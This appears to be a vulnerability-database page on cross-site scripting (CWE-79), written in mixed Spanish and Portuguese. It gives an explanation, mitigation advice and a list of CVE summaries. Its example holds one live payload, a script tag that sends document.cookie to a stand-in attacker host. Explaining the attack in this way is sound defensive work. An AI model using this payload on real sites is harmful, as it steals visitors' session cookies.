Fallos del tipo CWE-79

30.259 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-114429MEDIUMWP VR 8.5.49 - 9.0.2 - Contributor+ Stored XSS via Hotspot ContentEPSS 0.3%CVE-2026-113493MEDIUMGeoDirectory < 2.8.194 - Contributor+ Stored XSS via gd_map Shortcode width AttributeEPSS 0.3%CVE-2024-44039MEDIUMWordPress WP Travel plugin <= 9.3.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-35321MEDIUMMyNET up to v26.08 was discovered to contain a Reflected cross-site scripting (XSS) vulnerability via the msgtipo parameter.EPSS 0.3%CVE-2026-2934MEDIUMYiFang CMS Extended Management D_friendLinkGroup.php update cross site scriptingEPSS 0.3%CVE-2025-10369MEDIUMMiczFlor RPi-Jukebox-RFID cardRegisterNew.php cross site scriptingEPSS 0.3%CVE-2024-42335MEDIUM7Twenty - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')EPSS 0.3%CVE-2025-0787MEDIUMESAFENET CDG appDetail.jsp cross site scriptingEPSS 0.3%CVE-2026-77072HIGHn8n before 1.123.69 Stored XSS via Form Completion PageEPSS 0.3%CVE-2024-36992MEDIUMPersistent Cross-site Scripting (XSS) in Dashboard ElementsEPSS 0.3%CVE-2024-49664HIGHWordPress chatplusjp plugin <= 1.02 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-33927MEDIUMWordPress Giphypress plugin <= 1.6.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-49634HIGHWordPress BP Member Type Manager plugin <= 1.01 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-45343HIGHLinkAce - Stored XSS via Unsanitized SSO User's Name Rendered in Admin Audit Log Allows Session HijackingEPSS 0.3%CVE-2023-48244MEDIUMThe vulnerability allows a remote attacker to inject and execute arbitrary client-side script code inside a victim’s session via a crafted UEPSS 0.3%CVE-2025-3488MEDIUMWPML Multilingual CMS 3.6.0 - 4.7.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via wpml_language_switcher ShortcodeEPSS 0.3%CVE-2024-49673HIGHWordPress LaTeX2HTML plugin <= 2.5.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-13369MEDIUMPremmerce WooCommerce Customers Manager <= 1.1.14 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2024-31122MEDIUMWordPress User Rights Access Manager plugin <= 1.1.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-54345MEDIUMWordPress Bicycleshop theme <= 1.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%